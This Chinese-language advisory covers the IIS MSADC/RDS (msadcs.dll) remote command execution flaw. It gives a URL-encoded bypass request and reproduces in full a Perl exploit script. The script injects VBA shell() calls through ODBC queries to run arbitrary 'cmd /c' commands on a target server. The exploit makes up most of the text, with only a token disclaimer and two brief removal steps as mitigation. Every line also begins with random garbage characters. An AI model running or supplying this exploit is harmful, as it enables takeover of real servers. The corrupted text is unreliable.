IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
P`rfDQoZ KKwM\ 涉及程序：
&5}YTKe}| Microsoft NT server
]ty$/{hx' UV(`. 描述：
x@ X2r 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
q,K|1+jn G
1{m" 1M 详细：
& n*ga$Q 如果你没有时间读详细内容的话，就删除:
SY9 5s c:\Program Files\Common Files\System\Msadc\msadcs.dll
E}Cz(5 有关的安全问题就没有了。
[kJ;Uxncz~ zE;|MU@| 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
nLL2/!'n .QY>@b \ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
i59 }6u_f 关于利用ODBC远程漏洞的描述，请参看:
-|x7<$Hw -.Wwo(4 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm d rpx"d[c G! %m~+", 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
n)N!6u http://www.microsoft.com/security/bulletins/MS99-025faq.asp x~k3kj ESviWCh0Fl 这里不再论述。
2fdN@iruB 9q ]f]S.L 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
`*[Kmb\ PY|zN| /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
ZQ"dAR/y 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
I484c R2. mN-O{ k0\ +:Xg7H* #将下面这段保存为txt文件，然后: "perl -x 文件名"
FM%WMyb[ ^/%o
I;O{ #!perl
wsdZ wik #
sudh=_+> # MSADC/RDS 'usage' (aka exploit) script
5NkF_&S_1 #
eP (*. # by rain.forest.puppy
Uhu?G0>O #
8K^#$,.." # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
C;ab -gh # beta test and find errors!
Z/W f P|1 D6 use Socket; use Getopt::Std;
ke@OG! M / getopts("e:vd:h:XR", \%args);
zEjl@Kf ys!O"=OJ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Dh m ;K$T N9ipw r'P if (!defined $args{h} && !defined $args{R}) {
u /k'
ry= print qq~
NXLb'mH~ Usage: msadc.pl -h <host> { -d <delay> -X -v }
I3Co -h <host> = host you want to scan (ip or domain)
iTevl>p! -d <seconds> = delay between calls, default 1 second
FoE}j
-X = dump Index Server path table, if available
%cs" PS -v = verbose
J3+qnT8X -e = external dictionary file for step 5
=f@71D1 2cu2S"r Or a -R will resume a command session
=H: N!!: A99 ;bf}" ~; exit;}
Zk7!CJVM Lww&[|k. $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
,aWI&ve6 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
}2Ge??! if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
DI/d(oFv` if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
J<NpA(@^ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
< =!t!_ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
{%6
'|<`[ uih8ZmRt if (!defined $args{R}){ $ret = &has_msadc;
lhQMR(w^ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Nnn~7 [6\O
<-? print "Please type the NT commandline you want to run (cmd /c assumed):\n"
bs}SFT L . "cmd /c ";
Rhl m $in=<STDIN>; chomp $in;
U4Zx1ieCKH $command="cmd /c " . $in ;
HI1|~hOb' MF$Dx| Tcj if (defined $args{R}) {&load; exit;}
'oGMr=gp<& a^G>|+8 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
8 bw, dBN &try_btcustmr;
(^T}6t3+4 ZCK#=:ln print "\nStep 2: Trying to make our own DSN...";
^-Ks_4 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
A N,3[Sh \ k$cg ~ print "\nStep 3: Trying known DSNs...";
e Vj 8u &known_dsn;
o7gZc/?n F:Vl\YZ print "\nStep 4: Trying known .mdbs...";
, iEGf-!k &known_mdb;
8~! h8bk C f&F9I mZ if (defined $args{e}){
>y}> 5kv print "\nStep 5: Trying dictionary of DSN names...";
7u1o>a %9 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
iyR5mA g}?39?o4 print "Sorry Charley...maybe next time?\n";
8eCh5*_$ exit;
sj+ ) H>\l E2 ##############################################################################
SA"4|#3>7 ,LOx! sub sendraw { # ripped and modded from whisker
"T8b.ng sleep($delay); # it's a DoS on the server! At least on mine...
daB 5E<? my ($pstr)=@_;
e MOp}.zt| socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
?t;,Nk`jx die("Socket problems\n");
i*xVD`x ~ if(connect(S,pack "SnA4x8",2,80,$target)){
C9Cl$yZ select(S); $|=1;
#BEXj<m+J print $pstr; my @in=<S>;
> 0 := <RW select(STDOUT); close(S);
|+-b#Sa9 return @in;
?+c-m+;wj } else { die("Can't connect...\n"); }}
3nq4Y' @Us#c 7/ ##############################################################################
Sw{rNzh%$ C:!&g~{cKi sub make_header { # make the HTTP request
X#W6; ?Z\ my $msadc=<<EOT
B|>eKI POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
I]#x0 ?D User-Agent: ACTIVEDATA
QVb{+`.7 Host: $ip
BL0xSNE** Content-Length: $clen
kT^`j^Jr Connection: Keep-Alive
? _[ q{i { H_iQR9Ak7 ADCClientVersion:01.06
?U:c\TA,m Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
HS. eK#:N (6)|v S --!ADM!ROX!YOUR!WORLD!
Rs'mk6+ Content-Type: application/x-varg
mph s^k< Z Content-Length: $reqlen
1<]?@[l< ;%AY#b4m EOT
UHI<8o9 ; $msadc=~s/\n/\r\n/g;
/Zz [ vf return $msadc;}
}Zp [f6^Q meD83,L~N ##############################################################################
$ -] 9/Ct u\K`TWb% sub make_req { # make the RDS request
t,5AoK/NL9 my ($switch, $p1, $p2)=@_;
`j6O my $req=""; my $t1, $t2, $query, $dsn;
k
c L
+ V' sq'XB if ($switch==1){ # this is the btcustmr.mdb query
M\08 7k $query="Select * from Customers where City=" . make_shell();
SR4 m bQ: $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
&61h*s $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
-9 |)O: 4?`*# DPl elsif ($switch==2){ # this is general make table query
:K*/ $query="create table AZZ (B int, C varchar(10))";
;A?86o'? $dsn="$p1";}
:9|CpC`. L3S29-T elsif ($switch==3){ # this is general exploit table query
C7l4X8\w $query="select * from AZZ where C=" . make_shell();
|kHzp^S $dsn="$p1";}
7Zh#7jiZ` 9 KU3)%U elsif ($switch==4){ # attempt to hork file info from index server
u~'j?K.^ $query="select path from scope()";
O V^?cA $dsn="Provider=MSIDXS;";}
tHJahK:"k . N5$ s2t elsif ($switch==5){ # bad query
SQdK`]4 $query="select";
FdxV#.BE $dsn="$p1";}
V4<f4|IL "6WE6z q $t1= make_unicode($query);
& 7w*=f8I $t2= make_unicode($dsn);
r#mH[|@W~ $req = "\x02\x00\x03\x00";
G'iE `4`2 $req.= "\x08\x00" . pack ("S1", length($t1));
#!j wn^yq $req.= "\x00\x00" . $t1 ;
a/~1C r Yr $req.= "\x08\x00" . pack ("S1", length($t2));
2Gc0pBqx $req.= "\x00\x00" . $t2 ;
ib(4Y%U6~ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
7]
>z e return $req;}
P.Qz>c^-C a^)@ }4 ##############################################################################
y #J8Yv8 AR)A < sub make_shell { # this makes the shell() statement
mN" g~o* return "'|shell(\"$command\")|'";}
qD (dAU s&W^?eKr ##############################################################################
XAUHF-"WE ;+~Phdy sub make_unicode { # quick little function to convert to unicode
5Noy~; my ($in)=@_; my $out;
ov Wm}!r for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
FQB6`
M return $out;}
W HR6/H Hy2~D:34 ##############################################################################
`G>BvS5h EE~DU;p;] sub rdo_success { # checks for RDO return success (this is kludge)
AgJPtzs
my (@in) = @_; my $base=content_start(@in);
DLEHsbP{$ if($in[$base]=~/multipart\/mixed/){
MJcW X|(y return 1 if( $in[$base+10]=~/^\x09\x00/ );}
@=6$ImU return 0;}
NvJ}|w,Z oazy%n(KZ ##############################################################################
q[~+ Zm cx+%lco! sub make_dsn { # this makes a DSN for us
TxmK mZ u my @drives=("c","d","e","f");
RxGZ#!j/ print "\nMaking DSN: ";
4nD U-P#f foreach $drive (@drives) {
.10$n* print "$drive: ";
82 w=t my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
<w0$0ku "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
d6g^>}-!t . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
WTj ,9 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
Si=u=FI1e return 0 if $2 eq "404"; # not found/doesn't exist
[ _3L if($2 eq "200") {
MY z\ R
\ foreach $line (@results) {
x4/f5 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
\`|OAC0a } return 0;}
?`=r@ F' JceU ##############################################################################
a*{ -r] 1y6{3AZm< sub verify_exists {
5H/D~hr& my ($page)=@_;
3/RNStd<L! my @results=sendraw("GET $page HTTP/1.0\n\n");
),U>AiF] return $results[0];}
Jrw R:_+| kSU]~x ##############################################################################
'>dx~v % m 3"|$0C~ sub try_btcustmr {
??? ; H my @drives=("c","d","e","f");
Yi#U~ h my @dirs=("winnt","winnt35","winnt351","win","windows");
M>|R&v eW;0{P foreach $dir (@dirs) {
~| =goHmm[ print "$dir -> "; # fun status so you can see progress
@x/D8HK2 foreach $drive (@drives) {
W4S! rU print "$drive: "; # ditto
hH=}<@z $reqlen=length( make_req(1,$drive,$dir) ) - 28;
bLyaJ%pa\/ $reqlenlen=length( "$reqlen" );
Wt9'-"c $clen= 206 + $reqlenlen + $reqlen;
{*t0WE&1t Huho| 6ohH my @results=sendraw(make_header() . make_req(1,$drive,$dir));
tF~D! t@ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
|E9i G else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
-gy@sSfvkv K_CE .8G&{ ##############################################################################
4{Af 3N qI5`:P H%n sub odbc_error {
^z}$ '<D9 my (@in)=@_; my $base;
&bT \4 my $base = content_start(@in);
J(=io_\bO if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
<%:,{u6 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
h4k.1yH; $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
rnS&^ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
VL| q `n return $in[$base+4].$in[$base+5].$in[$base+6];}
- DE?L,9X9 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
; n;bap print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
Eh/Z4 pz T $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
FR? \H"'x B0"55g*c ##############################################################################
ad,pHJ` >}6V=r3[+ sub verbose {
5 p! rZ my ($in)=@_;
h SF4-Vvb return if !$verbose;
_!Ir|j.A print STDOUT "\n$in\n";}
h!q_''*; $ { 5 |{` ##############################################################################
<t"|wYAa_ IO}53zn<l sub save {
><3!J+<? my ($p1, $p2, $p3, $p4)=@_;
D:vX/mf;7 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
eeu;A, @U print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
aXRf6:\% close OUT;}
VVDd39q oeIza<:=R ##############################################################################
o=y0=,:a?9 < r7s,][& sub load {
o-r00H| my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Z@ QJ5F1y open(IN,"<rds.save") || die("Couldn't open rds.save\n");
;FO( mL ( @p=<IN>; close(IN);
H&E3RU> ` $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
^% jk. * $target= inet_aton($ip) || die("inet_aton problems");
F%^)oQT+c print "Resuming to $ip ...";
XX[CTh?O% $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
7dtkylW if($p[1]==1) {
s2t9+ZA+s $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
hmM2 c15T5 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
:~%{ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
m9 D' yXZ if (rdo_success(@results)){print "Success!\n";}
b,):&M~p else { print "failed\n"; verbose(odbc_error(@results));}}
IJ#+"(?7,u elsif ($p[1]==3){
[ T!0ka if(run_query("$p[3]")){
(hFyp}jkk print "Success!\n";} else { print "failed\n"; }}
$hq'9}ASOL elsif ($p[1]==4){
5><KTya?= if(run_query($drvst . "$p[3]")){
l/g6Tv `w print "Success!\n"; } else { print "failed\n"; }}
.}e Pm( exit;}
~"}o^#@DwJ \:D"#s%x ##############################################################################
s?~lMm' ! )0N^rw kW sub create_table {
A#KfG1K> my ($in)=@_;
{?hpW+1,# $reqlen=length( make_req(2,$in,"") ) - 28;
I c')L*i7O $reqlenlen=length( "$reqlen" );
9L9qLF5 t $clen= 206 + $reqlenlen + $reqlen;
g8L{xwx< my @results=sendraw(make_header() . make_req(2,$in,""));
?3Y~q;I]O return 1 if rdo_success(@results);
EEdU\9DH( my $temp= odbc_error(@results); verbose($temp);
SKeX~uLz return 1 if $temp=~/Table 'AZZ' already exists/;
qEajT"? return 0;}
~x6<A\ "#G`F ##############################################################################
g=L80$1 (,OF<<OH sub known_dsn {
^g
N/ 5 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
$i]G'fj my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
AtYqD<hl: "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
.-4]FGg3 "banner", "banners", "ads", "ADCDemo", "ADCTest");
bd)'1;p U2vM|7 ]VP foreach $dSn (@dsns) {
, Aw
Z% print ".";
RAB'%CY4 next if (!is_access("DSN=$dSn"));
P]%)c6Uh if(create_table("DSN=$dSn")){
%=`wN^3t2 print "$dSn successful\n";
U\GuCw if(run_query("DSN=$dSn")){
,4H/>yPw print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
iph}!3f print "Something's borked. Use verbose next time\n";}}} print "\n";}
?'RB'o~ !yo @i_1D ##############################################################################
A5?q&VS}p "< })X.t sub is_access {
X;7h y0Y my ($in)=@_;
(d>}Fp $reqlen=length( make_req(5,$in,"") ) - 28;
DVz_;m 6) $reqlenlen=length( "$reqlen" );
p-XO4Pc 6 $clen= 206 + $reqlenlen + $reqlen;
gAr=fq-| my @results=sendraw(make_header() . make_req(5,$in,""));
]8/g[Ii my $temp= odbc_error(@results);
0,5)L\{
R verbose($temp); return 1 if ($temp=~/Microsoft Access/);
hI 1or4V return 0;}
\dJ OZ2J<z TX).*%f [r ##############################################################################
}*?,&9/_) 2Og<e| sub run_query {
l!mx,O` my ($in)=@_;
2 ;ju/9 x $reqlen=length( make_req(3,$in,"") ) - 28;
5
BLAa1 $reqlenlen=length( "$reqlen" );
[,56oMd~ $clen= 206 + $reqlenlen + $reqlen;
TyY%<NCIb my @results=sendraw(make_header() . make_req(3,$in,""));
BlfadM; return 1 if rdo_success(@results);
XNJ3.w:R my $temp= odbc_error(@results); verbose($temp);
Z ygu/M 6 return 0;}
6 u>]-K5 +E-CsNAZ*" ##############################################################################
$ :RR1.Tv :}z `4S@ b sub known_mdb {
JFFluL=- my @drives=("c","d","e","f","g");
otbr8&?- my @dirs=("winnt","winnt35","winnt351","win","windows");
nzU;Bi^m my $dir, $drive, $mdb;
xauMF~* my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
=SD^Jl{H X& mD/1 # this is sparse, because I don't know of many
H3L uRGe&2 my @sysmdbs=( "\\catroot\\icatalog.mdb",
HZqk)sN "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
gY!?JZC-0 "\\system32\\certmdb.mdb",
{5]c \_. "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
+ w/B3 b b/? )_pg my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
2N{^V?: "\\cfusion\\cfapps\\forums\\forums_.mdb",
mDx=n.lIz "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
]=ADX} "\\cfusion\\cfapps\\security\\realm_.mdb",
![9$r u "\\cfusion\\cfapps\\security\\data\\realm.mdb",
-&l%CR,U "\\cfusion\\database\\cfexamples.mdb",
^?NLA&v< "\\cfusion\\database\\cfsnippets.mdb",
AuT:snC zR "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
=0a z5td "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
_L+j6N.h1 "\\cfusion\\brighttiger\\database\\cleam.mdb",
Bbi yyRa "\\cfusion\\database\\smpolicy.mdb",
Z/czAr@ 4 "\\cfusion\\database\cypress.mdb",
7=/iFv[ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
u\;d^ A "\\website\\cgi-win\\dbsample.mdb",
b] "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
sI.p(
-K Q "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
0O[le*3b ); #these are just
YSrjg|k* foreach $drive (@drives) {
&\%\ "Zh foreach $dir (@dirs){
""A6n{4 foreach $mdb (@sysmdbs) {
[bw1!X3 print ".";
\)?+6D'# if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
)-0+O=v print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
$[ Q;{Q if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
#Vu;R5GZ} print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
1'N<I Tb } else { print "Something's borked. Use verbose next time\n"; }}}}}
C]Y%dQh+a % o 5'M^U foreach $drive (@drives) {
iI>7I<_ foreach $mdb (@mdbs) {
=3 ovaP print ".";
9kh MG$ if(create_table($drv . $drive . $dir . $mdb)){
[(eX\kL print "\n" . $drive . $dir . $mdb . " successful\n";
f `D( V-4 if(run_query($drv . $drive . $dir . $mdb)){
70'gVCb print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
#0PZa$kM(o } else { print "Something's borked. Use verbose next time\n"; }}}}
n
=WH=:& }
2Z5_@Y )|_L?q#w!' ##############################################################################
a?yU;IKJ r. lHlHl sub hork_idx {
Wm}gnNwA print "\nAttempting to dump Index Server tables...\n";
\E[6wB>uN% print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
e{9~m $reqlen=length( make_req(4,"","") ) - 28;
\B ^NdG5Y $reqlenlen=length( "$reqlen" );
M4D @G $clen= 206 + $reqlenlen + $reqlen;
OE}FZCX F my @results=sendraw2(make_header() . make_req(4,"",""));
cUr !U\X[ if (rdo_success(@results)){
na|sKE;{ my $max=@results; my $c; my %d;
\KzH5 ? for($c=19; $c<$max; $c++){
@v#,SF { $results[$c]=~s/\x00//g;
g/_0WW] } $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
)E}@h%d $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
k>\v]&|T` $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
qZ4)) X $d{"$1$2"}="";}
?T .=y m foreach $c (keys %d){ print "$c\n"; }
I$MlIz$l v } else {print "Index server doesn't seem to be installed.\n"; }}
yM7Iq)o6u /!MVpi'6& ##############################################################################
``eam8Az_U ,@/O\fit) sub dsn_dict {
w $Fg 0JS open(IN, "<$args{e}") || die("Can't open external dictionary\n");
PXqG;o*Q*? while(<IN>){
jFJ}sX9] $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
<_ENC>NP next if (!is_access("DSN=$dSn"));
shw"TF>?zG if(create_table("DSN=$dSn")){
j Rd$Vt print "$dSn successful\n";
h!v< J if(run_query("DSN=$dSn")){
]Vmo > print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
gO)":!_n W print "Something's borked. Use verbose next time\n";}}}
zhm 0 J-g print "\n"; close(IN);}
C JER&"em7 a +cDH ##############################################################################
gb|;]mk*" J8i,[,KcE sub sendraw2 { # ripped and modded from whisker
~\8(+qIv%f sleep($delay); # it's a DoS on the server! At least on mine...
i/sk U9 my ($pstr)=@_;
1. +6x4%rV socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
BjagG/ sX die("Socket problems\n");
co3\1[q"b if(connect(S,pack "SnA4x8",2,80,$target)){
;-Xfbq Z\ print "Connected. Getting data";
vzFp Xdt open(OUT,">raw.out"); my @in;
5A*&!1T select(S); $|=1; print $pstr;
O$}.b=N9 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
pu+Q3NfR close(OUT); select(STDOUT); close(S); return @in;
m./PRV1$x } else { die("Can't connect...\n"); }}
amdgb,vh } c k <R ##############################################################################
r uGeN M;,$
)>P sub content_start { # this will take in the server headers
]gg(Z!|iQ my (@in)=@_; my $c;
(wM` LE(Ks for ($c=1;$c<500;$c++) {
b0YEIV<$ if($in[$c] =~/^\x0d\x0a/){
:)D7_[i if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
DJ@n$G`^^ else { return $c+1; }}}
q[C?1Kc .z return -1;} # it should never get here actually
6[4VbIBSI #XA`n@2Uoo ##############################################################################
g2 7 'il 9aY8`B sub funky {
mHHlm<?] my (@in)=@_; my $error=odbc_error(@in);
BkGEx z if($error=~/ADO could not find the specified provider/){
"I)zi]vk print "\nServer returned an ADO miscofiguration message\nAborting.\n";
,!b<SQ5M exit;}
|5tZ*$nGa if($error=~/A Handler is required/){
(or"5}\6- print "\nServer has custom handler filters (they most likely are patched)\n";
R6O v exit;}
z-606g if($error=~/specified Handler has denied Access/){
-PAEJn5$O print "\nServer has custom handler filters (they most likely are patched)\n";
| Ia9bg'1U exit;}}
p/?o ^_s 8"9&x}
tl- ##############################################################################
uT4|43<
G F{!pii5O9 sub has_msadc {
No} U[u.O my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
z__?k Y my $base=content_start(@results);
,`Y$}"M4 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
3g;, return 0;}
+Gt9!x}#e m]!hP^^ ########################
)/%5f{+} P+}~6}wJE ft6)n T/"& 解决方案：
8zD>t~N2C 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
!43 !JfD 2、移除web 目录: /msadc
